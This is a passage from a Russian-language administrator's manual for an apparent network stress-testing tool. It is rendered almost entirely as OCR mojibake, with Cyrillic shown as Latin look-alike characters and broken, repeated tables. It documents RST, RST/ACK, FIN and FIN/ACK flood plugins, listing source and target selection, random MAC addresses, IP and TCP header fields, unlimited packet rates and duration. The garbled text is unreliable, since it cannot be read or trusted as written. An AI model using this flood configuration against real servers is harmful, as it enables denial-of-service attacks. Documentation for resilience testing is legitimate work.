CEeKyHJY OTIIPABIEHO B OJHY CEKYHIY
WutepBan mexay | Onnus TO3BONAET HACTPOUTH 3aAepXKKy | 3ajaiiTe UMCIOBOE 3HAUYCHUE
OTIPaBKOMH MEXAYy OTIPaBKOM 3aJaHHOIO  KOJI-Ba
3aIpOCoOB 3aIIpOCOB B CEKYHAY.

e) I[J'II/ITCJ'ILHOCTB - mapameTp, OTBEYAIONIUM 3a BpeMA pa6OTBI I1aruHa, OnucCaHue

KOTOporo ykazaHo B Ta0mn. 54.

Ta6a. 54 — Ilapametp «lauTeabHOCTH»

Ha3panue Onucanne 3navenue
JnurenbHOCTh Bpewms reaepanun Tpaduka 3anaiiTe 4nciiOBOE 3HAYCHHWE M BHIOEpETe
TeHepaun BETMYMHY (B CEKyHOaX, MHUHYTax WIH
gacax)
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5.3.1.7 RST Flood

RST Flood — mnarun ans reHepaiuu Tpaduka, KOTOPBIM OTIPABISICT OOIBIIOE KOJTHYECTBO

MakeToB C ycraHoBlieHHbIM (arom RST Ha menb, kotopsie cOpacwiBatoT aktuBHBIE TCP-

COCAUHCHMA Ha LCJIEBOM CEPBEPE.

JIaHHBIN IUIATWH COCTOUT U3 CIEAYIOUIUX MTapaMETPOB:

a) VCTOYHMKM — COBOKYMHOCTh M3 BbIOpaHHOro areHta, mHTepdeiicoB u MAC-

a/IpecoB C KOTOPBIX areHT OyJeT OTHPaBIATh U MPUHUMATh Tpaduk. OnucaHue napaMmeTrpoB

ykazansl B Tabm. 40;

Ta6a. 55 — INapamerpbl «cTOUHUKI»

Ha3Banmue Onucanmne

3Hauenue

ATEHT ATeHT, C KOTOpOro OyZeT OTIIPaBIATHCS

TpahUK M C KOTOPBIH Oyner NpUHUMAaTh

BLI6ep€Te arc¢HT M3 CIITMCKa ar¢HTOB

5.2.2.1 unmu 5.2.2.2) mapamerpbl KOTOPOTO
OyoyT HCIOJNB30BaThCS UL OTIPABKH
Tpaduka. Ecam BeiOpano Ooiiee OIHOTO
00beKTa, MOXKHO U3MEHUTh MAPaMeTP «BECH,
OTBEYAOIHI 3a GaaHCHPOBKY
pacmpeneneHus MaKeTOB MEXKITY

BBIOpaHHBIMU O0O0BeKkTaMu «CeTm».

TpaduK.
CeTeBoii CereBoii uHTep(elic arenra, ¢ koroporo | Beidbepere unTepdeiic u3 CIHcKa
unTepeiic OysieT OTHpaBAThC TpaQUK M C KOTOPBIA | MHTEpdeHcoB

Oyzet mpuHUMATh Tpaduk
CeTh Bri6pannbie 00bekT «CeTn» (cM. 3aronoBok | Bridepere o0vekt «CeTm» M3 CHHCKA

00BeKTOB. 3amaiiTe Bec (110 YMOITYAHHIO, BEC
pacmpenenseT paBHOMEPHO MAaKETHl MEXIY

o0bexktamu «CeTny)

MAC-aznpec Briopanusie  00bekT «MAC-aapec» (cMm.
3aromoBok 5.2.3.1) mapameTpbl KOTOPOTo
OyayT HCIOJB30BAaThCS UL OTIPABKH
Tpaduka

Bribepere o0bekT «MAC-anpec» u3 crucka
00BEKTOB.

Cayuaiiueiii MAC-ampec — s Kax7Ioro
nakera OyIeT CreHepHpOBaH CITy4YalHbIH
MAC-anpec ornpaBuTesns

6) Llenu — mapameTpsl A5 BbIOOpa 00BEKTA, B KOTOPBIN OyIeT HalpaBiIsAThCs Tpaduk

(cm .3aromoBok 5.2.2.3);

HaszBanme Onucanmne

3HaueHmne

MAC-aapec BeiOpannbie  00bekT «MAC-aapec» (cm.
3aroJIoBOK 4)) mapaMeTpbl KOTOpPOro OyayT

HCIOJIB30BAaThCA JI OTHPAaBKU Tpa(bI/IKa

Crnyuaiiaetii. MAC-aapec — ISl KaXIo0TO
makera OyJeT CreHepUpOBaH CIy4alHBIN

MAC-aznpec nosryuaresns
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Bribepere 00bpekT « MAC-anpecy U3 crmcka

00BEKTOB.

Llens

Bribpannbie 00bekT «CeT» (CM. 3aroioBoK
5.2.2.3) mapaMeTpel  KOTOPOTO  OymyT
HCIIONB30BATBCS JUIS OTIPaBKH Tpaduka B

BEIOPAaHHYIO IIEIb.

Bribepere o0bekT «CeTm» U3  CIHCKa

00BEKTOB.

B) Hcrounuku — BbIOpaHHBIN areHT, uHTepdeiic, ¢ KOTOPOTo areHT Oy1eT OTIPABIATh

U TNpUHUMATh TpapuK U OOBEKT OTHpaBUTENb (CM. 3aroioBok 5.2.2.1 wmm 5.2.2.2) nns

resepauuu Tpaduka,

r) Llenu — BeIOpaHHBIH 00BEKT MOTyYaTEs b (CM. 3arojoBok 5.2.2.3);

1) IP 3aronoBok (L3) — mapamerpsl HacTpoek IP 3aromoBkoB Ha yposue L3 TPC/IP,

OIMCaHMe KOTOPHIX yKa3aHbl B Tabin. 56,

Ta6a. 56 — ITapamerpsl «IP 3arosoBok (L3)»

Ha3panue Onucanue 3HayeHue
TTL (Time to | Hapamerp TTL ompenenser makcumanbHOe | 3anaite YUCTIOBOE 3HAYCHHUE (o
Live)

KOJIMYECTBO  MAapIIPyTH3aTOPOB  (XOIOB),
yepe3 KOTOPbIE MOXET IIPOHTH MaKeT

JIAHHBIX, TIPEXKJIE YeM OH OyJeT OTOpOILeH.

yMoi4aHuwoo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — »t10 moze B 3aronoBke IP-makera,

3apgaiite YUCIIOBOE 3HaUYEHHUE (o

Service) KOTOpPOE HCIOJIB3YETCSl Ui ONpeJeNicHus | yModaHuio, 3nauenue DSCP sBisieTcs: «7»)
npuopuTeTa u 00paboTKK Tpaduka
ECN — sto MexaHu3M, KOTOpBIH 1o3BossieT | Bpibepere 3HaueHHe U3 CIIUCKA:
MapIIpyTH3aTOpaM  YBEAOMIATL  y31bl O | 00 (Non-ECT)
neperpyskax B ceTr 0e3 coOpoca IakeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
CnyyaliHblii YHUKaNbHBIH — uaeHTHHUKATOP  Makera, | BKIIOYUTH/BBIKIIOUYUTH TyMOIIEp
ID BEIOpaHHBIH  CIy4alHBIM  00pa3oM Ui

pasnuueHust pparMeHTOB OJHOTO U TOTO Ke
IP-lakera

3unauenne ID

UYuncnoBoit MIEHTU(PHUKATOP, NPUCBOCHHBIH
KaXaoMy [P-nmakety s ero
WACHTUQHUKAINK TpH  (PparMEeHTAlUd W
cOopke

IlapameTp mocTymeH, eciaud — HapaMmerp
«Cnygaitapiii ID» BBIKITIOUEH

3anaiite YHCIOBOE 3HaYeHUE (o
YMOJYaHHUIO, 3HaueHWe «3Hauenume ID»
sBisteTcst: «0-65535%)

e) TCP 3aronook (L4) — mapamerpsl HacTpoek IP 3aronoBkos Ha yposue L4 TPC/IP,

oIMcaHue KOTOPhIX yka3aHbl B Tabn. 57,
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Ta6a. 57 — Ilapamerpsi «TCP 3aromoBok (L4)»

Ha3panmue Onucanue 3HaveHue
Max. Segment Size | MakcuMmanbHbIi pasmep cermenta | 3ajmaiite 4ucioBoe 3HadeHue (1O
(MaxcumanbHbii PasMep | onpenenser MaKCHUMaIbHBIA | yMONYAHWIO, 3HAaueHHe  Max.
CETMEHTa)

00beM [aHHBIX, KOTOPBIA MOXKET
ObITh Tepenan B omHoM TCP-

CCIMCHTC

Segment Size sBisercs: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCS K MEXaHH3MY
MacmtabupoBanust okHa TCP,
KOTOPBIA TO3BOJACT YBEIWYUTH
pasMep OKHa ISl yHpaBICHUS
MOTOKOM JIaHHBIX.

3anaiite yuciaoBoe 3HaueHHe (IO
YMOITYaHHIO, 3HaYCHUE WS
SIBIISIETCS: «64»)

Window Size (Pa3mep oxHa)

Pasmep okna TCP ompenenser
00bEM JaHHBIX, KOTOPBIA MOXKET
OBITh OTIpaBiIeH 0e3 OXHUOAHUA
MOJITBEPIKACHHS OT MMOTYIATEIIS.

3anaiite uMciIoBOe 3HaueHHE (T10
yMoJl4aHuto, 3HaueHue Window
Size sBsieTcs: «256»)

Crnyugaiinsiii Sequence Number

CnyyaliHOE 4YMCIO, UCIIOJIB3YEMOE

BKIIIOUYNTH/BEIKITIOYUTE TYyMOJIED

TS MHHUIIHATA3AIUT
MOCJIEZIOBATEILHOCTH HOMEPOB B
MPOTOKOJIaX CBsI3U  (Hampumep,
TCP)

3nagyenne Sequence Number Tekyee qUCIIO B | 3amaiiTe 4uciioBoe 3HaueHHUe (10
MOCJIEI0BATEILHOCTH, YMOJTYaHHIO, 3HaueHHe Sequence

YKa3bIBaro1mee nopsAA0K AaHHBIX B
MOTOKE Mepeaavin

Number «0-

4294967295»)

SABJIACTCA:

k) IlapameTpsl ckOpocTH — mMapaMeTp, OTBEYAIOLIHII 32 CKOPOCTh NIEpeJaul aKeTOB,

OIMCaHMe KOTOPOro ykazaHo B Tabmn. 58;

Taoa. 58 — Ilapamerp «CropocTh»

HasBanue Onucanue 3HayeHue
Tymbnep  «be3 | MakcumanbHass TPOM3BOAUTENHHOCTE 0€3 | BKIIIOYNTH/BBIKIIOUHTH
OrpaHUYCHUSY OFpaHI/I‘IeHI/Iﬁ Ha KOJI-BO OTHPABJIAECMBIX

3aIIpOCOB B CEKYHAY
ITakeroB B | Kakoe  konmuectBo  makeroB  Oyner | 3amaiiTe 4MCIOBOE 3HAUCHHE
CEeKyHJY OTIIPABIEHO B OJHY CEKyHIY
WutepBan mexay | Onnus TO3BONAET HACTPOUTH 3aAepXKKy | 3ajaiiTe UMCIOBOE 3HAUYCHUE
OTIPaBKOMH MEXAYy OTIPaBKOM 3aJaHHOIO  KOJI-Ba
3aIpOCoOB 3aIIpOCOB B CEKYHAY.

3) I[J'II/ITCJ'ILHOCTB - mapameTp, OTBEYAIONIUM 3a BpeMA pa6OTBI I1aruHa, OonucCaHue

KOTOporo ykaszaxo B Tabm. 59.

Ta6a. 59 — ITapametp «/luTEILHOCTHY

Ha3panue Onucanne 3navenue
JnurenbHOCTh Bpewms reaepanun tpaduka 3anaiiTe 4nciiOBOE 3HAYCHHWE M BHIOEpETe
TeHepaun BETMYUHY (B CEKyHJIaX, MUHYyTaxX WIH
gacax)
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5.3.1.8 RST/ACK Flood

RST/ACK Flood — mmarun uisi reHepaiuu Tpaduka, KOTOPBIH OTHpaBisieT OOJBIIOE

KOJIMYECTBO TakeToB ¢ ycTaHoBieHHbIMH ¢uiaramu RST m ACK, yto mpuBoguT k cOpocy

COG,Z[I/IHCHI/Iﬁ M HApYIICHUIO HOpMaJIbHOI'O obMeHa JaHHBIMH.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOIIUX TapaMETPOB:

a) VCTOYHMKM — COBOKYMHOCTh M3 BbIOpaHHOro areHta, mHTepdeiicoB u MAC-

a/IpecoB C KOTOPBIX areHT OyJeT OTIPaBIATh U MPUHUMATH Tpaduk. OnucaHue napameTpoB

ykazansl B Tabm. 40;

Ta6a. 60 — I[Napamerpbl «AcTOUHUKI»

Ha3Banmue Onucanmne

3Hauenue

ATEHT ATeHT, C KOTOpOro OyIeT OTIpPaBIATHCA

TpahUK M C KOTOPBIH Oyner NpUHUMAaTh

BLI6ep€Te arc¢HT M3 CIITMCKa ar¢HTOB

TpaduK.
CeTeBoii CereBoii uHTep(elic arenra, ¢ koroporo | Beidbepere unTepdeiic u3 CIHcKa
unTepeiic OysieT OTHpaBAThC TpaQUK M C KOTOPBIA | MHTEpdeHcoB

Oyzet mpuHUMATh Tpaduk
CeTh BriOpannbie 00bekT «CeTn» (cM. 3arooBoK | Bridepere o00vekT «CeTn» M3 CIHCKA

5.2.2.1 unmu 5.2.2.2) mapamerpbl KOTOPOTO
OyoyT HCIOJNB30BaThCS UL OTIPABKH
Tpaduka. Ecam BeiOpaHo Oonee OmHOTO
00beKTa, MOXKHO U3MEHUTh MAPaMeTP «BECH,
OTBEYAOIHI 3a GaaHCHPOBKY
pacmpeneneHus MaKeTOB MEXKITY

BBIOpaHHBIMU O0O0BeKkTaMu «CeTm».

00BeKTOB. 3amaiiTe Bec (110 YMOITYAHHIO, BEC
pacmpenenseT paBHOMEPHO MAaKETHl MEXIY

o0bekTtamu «CeTrny)

MAC-aznpec Briopanusie  00bekT «MAC-aapec» (cMm.
3aromoBok 5.2.3.1) mapameTpbl KOTOPOTo
OyayT HCIOJB30BAaThCS UL OTIPABKH
Tpaduka

Bribepere o0bekT «MAC-anpec» u3 crucka
00BEKTOB.

Cayuaiiueiii MAC-ampec — s Kax7Ioro
nakera OyIeT CreHepHpOBaH CITy4YalHbIH
MAC-anpec ornpaBuTesns

6) Llenu — mapameTpsl A5 BbIOOpa 00BEKTA, B KOTOPBIN OyIeT HalpaBiIsAThCs Tpaduk

(cm .3aromoBok 5.2.2.3);

HaszBanme Onucanmne

3HaueHmne

MAC-aapec BeiOpannbie  00bekT «MAC-aapec» (cm.
3aroJIoBOK 4)) mapaMeTpbl KOTOpPOro OyayT

HCIOJIB30BAaThCA JI OTHPAaBKU Tpa(bI/IKa

Crnyuaiiaetii. MAC-aapec — ISl KaXIo0TO
makera OyJeT CreHepUpOBaH CIy4alHBIN

MAC-aznpec nosryuaresns
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Bri6epere 00bekT «MAC-anpecy U3 crmcka

00BEKTOB.

Llens

Bribpannbie 00bekT «CeT» (CM. 3aroioBoK
5.2.2.3) mapaMeTpel  KOTOPOTO  OymyT
HCIIONB30BATBCS JUIS OTIPaBKH Tpaduka B

BEIOPAaHHYIO IIEIb.

Bribepere o0bekT «CeTm» U3  CIHCKa

00BEKTOB.

B) IP 3aronoBok (L3) — mapamerpsr Hactpoek IP 3aronoskos Ha yposue L3 TPC/IP,

OIMCaHMue KOTOPHIX yKa3aHbl B Tabn. 61,

Ta6a. 61 — Iapametpsl «IP 3aronosok (L3)»

Ha3panue Onucanue 3HayeHue
TTL (Time to | Hapamerp TTL ompenenser makcumanbHOe | 3anaite YUCTIOBOE 3HAYCHHUE (o
Live)

KOJIMYECTBO  MAapIIPyTH3aTOPOB  (XOIOB),
yepe3 KOTOPbIE MOXET IIPOHTH MaKeT

JIAHHBIX, TIPEXK/IE YeM OH OyJeT OTOPOILeH.

yMoi4aHuwoo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — 510 mone B 3arosoBke IP-makera,

3apgaiite YHCIIOBOE 3HAUECHHE (o

Service) KOTOpPOE HCIOJB3YeTCsl Ui OMpeNeNicHus | yMoidaHuio, 3nauenue DSCP sBusietcs: «7»)
npropuTeTa u 00paboTku Tpaduka
ECN — sto MexaHu3M, KOTOpBIH o3BonsieT | Boibepere 3HaYeHHE U3 CITUCKA:
MapIIpyTH3aTOpaM  YBEAOMIATH  y31bl O | 00 (Non-ECT)
neperpyskax B cetu 6e3 cOpoca makeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
CnyyaliHblii YHUKaNbHBIH — uaeHTHHUKATOP  MaKera, | BKIIOYMTH/BBIKIIOUYUTH TyMOIIEp
ID BEIOpAaHHBIH  CIy4alHBIM  00pa3oM Ui

pasnuueHust pparMeHTOB OJHOTO U TOTO Ke
IP-lakera

3nauenne ID

UuncnoBoil MIEHTU(PHUKATOP, NPUCBOCHHBIH
KaXIOMY IP-nakery TSt €ero
uieHTUGUKAUMK 1pu  (QparMeHTaluu U
cOopke

IlapameTrp  nmocTyneH, ecid  IapaMerp
«Cnyvaitapiii ID» BBIKITIOUEH

3anaiite YHCIIOBOE 3HaYeHUE (o
yMOJYaHHUIoO, 3HavueHue «3HaueHue ID»
sBysteTcst: «0-65535%)

r) TCP 3aromnoBok (L4) — mapamerpsl HacTpoek |P 3aronoskoB Ha yposue L4 TPC/IP,

OIMcaHue KOTOPHIX yKa3aHbl B Tabn. 62;

Ta6a. 62 — ITapamerpsl «TCP 3arosoBok (L4)»

CErMeHTa)

HazBanue Onucanne 3HaveHue
Max. Segment Sjze | MakcuManbHBIA pa3Mep CerMeHTa | 3ajaiiTe YUCIOBOE 3HAYEHHUE (IO
(MakcumanbHbIi PasMep | onpenenser MaKCUMAaJIbHBIA | YMOJYaHHUIO, 3HayeHue  Max.

CEIMCHTC

00beM JaHHBIX, KOTOPHIM MoxeT | Segment Size sBisercs: «1460»)

ObiTh TepenaH B omHom TCP-
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WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCS K MEXaHU3MY
MacmtabupoBanust okHa TCP,
KOTOPBIA TO3BOJACT YBEIWYUTH
pasMep OKHa Uil yHpaBICHUS
MIOTOKOM JaHHBIX.

3ajaiite 4ucioBOe 3HaueHUe (1o
YMOJTYaHHIO, 3HaYEHUE WS
SBIIACTCS: «64»)

Window Size (Pa3mep oxHa)

Pasmep oxna TCP ompenenser
00bEM JAHHBIX, KOTOPBIA MOXKET
OBITh OTIpaBICH 0e€3 OXHUIaHHS
MTOJITBEPKICHUS OT MOJTydaTerIsl.

3amaiiTe 4HcIoBOe 3HaueHUe (1o
yMoJl4aHuto, 3HaueHne Window
Size sBnsiercs: «256»)

Crnyugaiinsiii Sequence Number

CryuaifHOE 4HCII0, HCIIOJIB3YyEMOE
TSt MHHALUATH3aUH
MIOCJIEI0BATEILHOCTH HOMEPOB B

BKIIIOYHTH/BEIKITIOUHTE TyMOIEp

MPOTOKOJIaX CBsI3U  (Hampumep,
TCP)

3navyenue Sequence Number Texyiee YHUCIIO B | 3amaiite yucioBoe 3HaueHue (Mo
MIOCTICIOBATENEHOCTH, YMOJTYaHHIO, 3HaueHHe Sequence

YKa3bIBaro1mee nopsAa0K AaHHBIX B
MOTOKE Mepeaain

Number «0-

4294967295»)

ABJIIACTCA:

n) Ilapamerpsl ckopocTH — mapaMeTp, OTBEYAIOLIHII 32 CKOPOCTh NIEPeJauy [IaKETOB,

oIMcaHue KOTOporo ykazano B Tabmn. 63;

Ta6ua. 63 — [lapameTp «CropocTb»

HazBanmue Onucanmne 3Hauenue
Tymbnep «be3 | MakcumanipHas TPOU3BOAMUTENBEHOCTE 03 | BKIIIOYHTE/BBIKIIIOUNTH
OTPaHUYCHUS» OTPaHHYCHUH Ha KOJ-BO OTIPABIIEMBIX

3apPOCOB B CEKYHIY
ITakeToB B | Kakoe  kommyecTBO  makeToB  Oyzaer | 3ajaiiTe 4MCIOBOE 3HAUCHHE
CEKYHIY OTIIPABIICHO B OJHY CEKYHILY
WuaTepBan mexay | Onmus TO3BONSIET HACTPOUTH 3aJepXkKy | 3amaiiTe 9ucioBOE 3HAUCHUE
OTIIPAaBKOH MEXIy OTIPaBKOW 3aJaHHOTO  KOJI-Ba
3aMpOCoOB 3aMpPOCOB B CEKYH/IY.

e) JlIMTenbHOCTh - TapamMeTp, OTBEUAIOIINUNA 3a BpeMs padoThI IJIarMHa, OIMHCaHUe

KOTOpOro ykazaHo B Tabmn. 64.

Ta6u. 64 — [lapametp «lauTeabHOCTHY

Ha3panue Onucanne 3navenue
JnurenbHOCTh Bpewms reaepanun tpaduka 3anaiiTe 4nciIOBOE 3HAYCHHWE M BRIOEpETe
TeHepaun BEIMYUHY (B CEKyHJIaX, MUHYyTaxX WIH

gacax)

5.3.1.9 FIN Flood

FIN Flood — mnarus mis rerepanuu Tpaduka, KOTOPBIA OTIPABISET OONBIIOE KOTHYECTBO

NakeToB ¢ ycTaHoBieHHBIM ¢ ¢uarom FIN mns 3aBepmenust TCP-coenunenuii. ToT mabiion
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UCIOJNIb3YEeTCsl JJI1 TECTUPOBAHUSA YCTOWYMBOCTH CEepBepa K HEOXKHMJAHHBIM 3ampocam Ha

3aBCPUICHUC COCﬂHHeHHﬁ.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOIIUX apaMETPOB:

a) VCTOYHMKM — COBOKYMHOCTh M3 BbIOpaHHOro areHta, mHTepdeiicoB u MAC-

a/IpecoB C KOTOPBIX areHT OyJeT OTHPaBIATh U MPUHUMATh Tpaduk. OnucaHue napaMmeTrpoB

ykazansl B Tabn. 40;

Ta6a. 65— INapamerpbl «UcTOUHUKI»

Ha3zBanue Onucanne

3HaueHnmne

ATEHT ATeHT, C KOTOpOro OyZeT OTIIPaBIATHCS

TpahUK M C KOTOpBIH Oyner NpHHUMATh

Bribepere areHT U3 cMcKa areHTOB

5.2.2.1 unmu 5.2.2.2) mapamerpbl KOTOPOTO
OyOyT HCIOJNB30BaThCS UL OTIPABKH
Tpaduka. Ecam BeiOpaHo Oonee OmHOTO
00beKTa, MOKHO U3MEHHTH MapaMeTp «BECH,
OTBEYAIOIIHH 3a 0aaHCHPOBKY
pacmpeneneHus MaKeTOB MEXKITY

BBIOpaHHBIMU O0O0BekTaMu «CeTm».

TpaduK.
CeTeBoii CereBoii uHTep(elic arenra, ¢ koroporo | Beidbepere unTepdeiic u3 CIHCcKa
nnTepetic OysieT OTHpaBiAThCA TpaQUK M C KOTOpPBIA | MHTEpdeHcoB

Oyzet mpuHUMATh Tpaduk
CeTh Bri6pannbie 00bekT «CeTn» (cM. 3arooBok | Bridepere o0vekT «CeTm» M3  CHHCKA

00BeKTOB. 3amaiiTe Bec (IO YMOTYaHHIO, BEC
pacmpenenseT paBHOMEPHO HAaKETHl MEXIY

obbektamu «CeTny)

MAC-aznpec Briopanusie  00bekT «MAC-aapec» (cMm.
3aromoBok 5.2.3.1) mapameTpbl KOTOPOTo
OyoyT HCIOJB30BAaThCS UL OTIPABKH
Tpaduka

Bribepere o0bekT «MAC-anpec» u3 crucka
00BEKTOB.

Cayuaiiueiii MAC-ampec — s KaxKIoro
nakera OyIeT CreHepHpOBaH CITy4YalHbIH
MAC-anpec otmpaButens

6) Llenu — mapameTpsl A5 BbIOOpa 00BEKTA, B KOTOPBIN OyIeT HapaBsAThCs Tpaduk

(cMm .3aromoBok 5.2.2.3);

HaszBanme Onucanmne

3HaueHmne

MAC-aapec BeiOpannbie  00bekT «MAC-aapec» (cm.
3aroJIoBOK 4)) mapaMeTpbl KOTOpPOro OyayT

HCIOJIB30BAaThCA JId OTHPAaBKU Tpa(bI/IKa

Crnyuaiiaetii. MAC-aapec — UIsl KaKIo0TO
makera OyJeT CreHepUpOBaH CIyYalHBIN

MAC-aznpec nosryuaresns

Bribepere 06pekT «MAC-aapecy» U3 cimcka

00BEKTOB.

Hens Bri6pannble 00beKT «CeTu» (CM. 3aroJIOBOK

5.2.2.3) mapaMeTpbl  KOTOPOTO  OyAyT

Bribepere o0bekT «CeTm» W3  CIHCKa

00BEKTOB.

Nsm.
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WCIIONB30BaThCA U OTIpPaBKH Tpaduka B

BBEIOpAHHYIO 1IETIb.

B) IP 3aronoBok (L3) — mapamerpsr Hactpoek IP 3aronoskos Ha yposue L3 TPC/IP,

OIMCaHue KOTOPHIX yKa3aHbl B Tabin. 66;

Ta6x1. 66 — Ilapametpsl «IP 3arosnosok (L3)»

HazBanue Onucanne 3HnaveHue
TTL (Time to | Hapamerp TTL ompenenser MakcumanbHOe 3anariTe YHUCTIOBOE 3HaAYCHHUE (o
Live)

KOJIMYECTBO  MAapHIPYTH3aTOPOB  (XOIIOB),
yepe3 KOTOpble MOXET TIPOHTH MakeT

JTAaHHBIX, MPEKIC YeM OH OyAeT OTOPOIIICH.

yMON4aHMwoo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — 510 mone B 3arosioBke IP-makera,

3apgaiite YUCIIOBOE 3HAUECHHE (o

Service) KOTOpPOE HCIOJB3YeTCsl Ui OMpeNeNicHus | yMoidaHuio, 3nauenue DSCP sBusietcs: «7»)
npuopuTeTa M 00paboTKK Tpaduka
ECN — sTo MexaHu3M, KOTOPBIH o3BounsieT | Boibepere 3HaUeHHE U3 CITUCKA:
MapIIpyTH3aTOpaM  YBEAOMIATH  y31bl O | 00 (Non-ECT)
neperpyskax B ceTu 6e3 coOpoca ImakeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
CnyyaliHbli YHUKaNbHBIH — uAeHTHDHUKATOP  Makera, | BKIIOYUTH/BBIKIIOUYUTH TyMOIIEp
ID BEIOpaHHBIH  CIy4alHBIM  00pa3oM Ui

paznuueHust pparMeHTOB OJHOTO U TOTO K
IP-makera

3unauenne ID

UuncnoBoil MIEHTU(PHUKATOP, NPUCBOCHHBIH
KaXIOMY IP-nakery TSt €ero
uneHTHGUKanu 1pu  (pparMeHTanuu H
cOopke

Ilapamerp  nmocTyneH, ecid  IapaMerp
«Cnyvaitapiii ID» BBIKITIOUEH

3anaiite YHCIOBOE 3HaYeHUE (o
yMOJYaHHUIO, 3HaueHne «3HaueHue ID»
sisteTes: «0-65535»)

r) TCP 3aronoBok (L4) — mapamerpsl Hactpoek IP 3aronoBkos Ha yposue L4 TPC/IP,

OIMcaHHe KOTOPbIX yKa3aHbl B Tabn. 67,

Ta6a. 67 — ITapamerpsl «TCP 3arosoBok (L4)»

Ha3Banue Onucanne 3HaveHue
Max. Segment Size | MakcuMmanbHBIH pa3Mep cerMeHTa | 3ajaiite uucioBoe 3HAa4YeHHE (10
(MaxcumanbHbii PasMep | onpenenser MaKCHMaJbHBIH | yMOMYaHMIO,  3HaueHne  Max.
CErMeHTa)
00beM JaHHBIX, KOTOPBIM MoxeT | Segment Size sBisercs: «1460»)
ObiTh TepenaH B omHom TCP-
CeTMEHTe
WS (IP Options) [Mapamerp WS (Window Scale) | 3amaiite uucinoBoe 3HaueHue (1o
OTHOCHTCS K MEXaHU3My | yMOJNYaHWIO,  3HaueHme WS
MacmtabupoBanust okHa TCP, | saBusercs: «64»)
KOTOpBIH MO3BOJISIET  YBEJIUYUTH
pasMep OKHa /sl  yNpaBJICHUS
IIOTOKOM JaHHBIX.
Jluecm
Pykosodcmeo admHuucmpamopa s 10 Nepeceem-CT -
U3m. Jlucm | Ne dokym. lodnucs | Ldama gepcuu 2.0




Window Size (Pa3mep oxHa)

Pasmep oxna TCP ompenenser
00bEM [aHHBIX, KOTOPBIA MOXKET
OBITh OTHpaBiIeH 0e3 OXHUOaHUA
MIOATBEPKACHHS OT MOIyqaTeIs.

3ajaiite 4ucioBOe 3HaueHUe (1o
yMOJ9aHuio0, 3HadeHne Window
Size sBsieTcs: «256»)

Crnyugaiinsiii Sequence Number

CryuaifHOE 4HCII0, HCIIOJIB3YyEMOE
UL MHHULUATH3aLUH
MOCTIeI0BATENbHOCTH HOMEPOB B

BKIIIOYHTH/BEIKITIOUHTE TyMOIEp

MPOTOKOJIAX CBsI3W  (HAmpUMep,
TCP)

3nagenne Sequence Number Texymiee YHCII0 B | 3amaiiTe 4ucioBoe 3HaueHHUe (IO
[IOCJEN0BATELHOCTH, YMOJTYaHHIO, 3HaYeHHe Sequence

YKa3bIBaroIee MOPSIOK JaHHBIX B
MTOTOKE Tepenadn

Number SBIIICTCS: «0-

4294967295»)

n) Ilapamerpsl cKOpOCTH — MapaMeTp, OTBEUYAIOLIHIL 32 CKOPOCTh NIEPEJAUU [TAKETOB,

OIMCaHue KOTOPOro ykazaHo B Tabmn. 68;

Ta6u. 68 — [lapameTp «CropocTb»

HaszBanue Onucanue 3HayeHue
Tymbnep  «be3 | MakcumanbHass TPOW3BOAUTENHHOCTE 0€3 | BKIIOYNTH/BBIKIIOYHTH
OrpaHUYCHUS» OFpaHI/I‘IeHI/Iﬁ Ha KOJI-BO OTHPAaBJIACMBIX

3aIIpOCOB B CEKYHIY
ITakeros B | Kakoe  kommuectBo  makeroB  Oyner | 3amaiiTe YMCIOBOE 3HAYCHUE
CEeKyHIY OTIIPABIEHO B OJHY CEKYHIY
WuaTepBan mexnay | Onnus MNO3BONAET HACTPOUTH 3aAEPAKKy | 3ajaiiTe 4UCIOBOE 3HAUYCHUE
OTIPaBKOM MEXAYy OTIPaBKOM 3aJaHHOIO  KOJI-Ba
3aIpOCOB 3aIIpOCOB B CEKYHY.

e) Z[J'II/ITCJ'ILHOCTB - mapameTp, OTBEYAIONIUM 3a BpeMA pa6OTBI IJ1aruHa, OnucCaHue

KOTOporo ykaszaHo B Tabmi. 69.

Ta6u. 69 — ITapametp «/lIuTEILHOCTHY

HaszBanue Onucanue 3HayeHue
JmurenbHOCTH Bpewms renepanun Tpaduka 3ajaiiTe YMCIOBOE 3HaUCHUE W BhIOEpeTe
reHepanuu BENMYMHY (B CEKyHJaX, MHHYTax WIH
gacax)

5.3.1.10 FIN/ACK Flood

FIN/ACK Flood — mnarmH ans reHepanuu Tpaduka, KOTOPBIH OTHpaBiIseT OOJIbIIOE

KOJIMYECTBO MakeToB ¢ ycTaHoBieHHbIMU (rmaramu FIN u ACK, 4yto MOXeT mpuBeCTH K

HCHY>XHOMY 3aBCPIICHHUIO aKTUBHBIX COG}II/IHGHHf/i. OTOT mAa0JIOH MOMOTaeT IMPOBEPHUTH, KaK

CepBep pearrupyeT Ha TaKue 3arpochl.

I[aHHLIfI IJIarvuH COCTOUT U3 CIICAYIOIHNX ITapaMCETPOB:

a) VCTOYHMKM — COBOKYMHOCTh M3 BbIOpaHHOro areHTta, mHTepdeiicoB u MAC-

a/IpecoB C KOTOPBIX areHT OyJeT OTHPaBlIATh U MPUHUMATh Tpaguk. OnucaHue napaMmeTrpoB

yka3aHbl B Taon. 40;

Nsm.

Jlucm

Ne dokym.
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Ta6a. 70 — IlapameTpsbl «ACTOYHHUKI»

HasBanue Onucanne 3HauyeHue

ATeHT ATeHT, ¢ KOTOpPOro OyaeT OTHpaBisIThCS | BbiOepere areHT U3 CIICKA areHTOB
Tpaduk M C KOTOpBIM OyAeT NpHHUMATH
Tpaduk.

CeTeroii CereBoii mHTep(elic arenra, ¢ koroporo | Bribepere uHTEpdEiic u3 CIHCKa

unrepetic OyaeT oTmpaBisAThCA TpadHK M ¢ KOTOpHIH | mHTepdeiicoB
Oyzet mpuHUMATh Tpaduk

Cets Bribpanubie 06bekT «CeTu» (cM. 3aronoBok | Bribepere o00bekT «CeTw» U3 cOHCKa
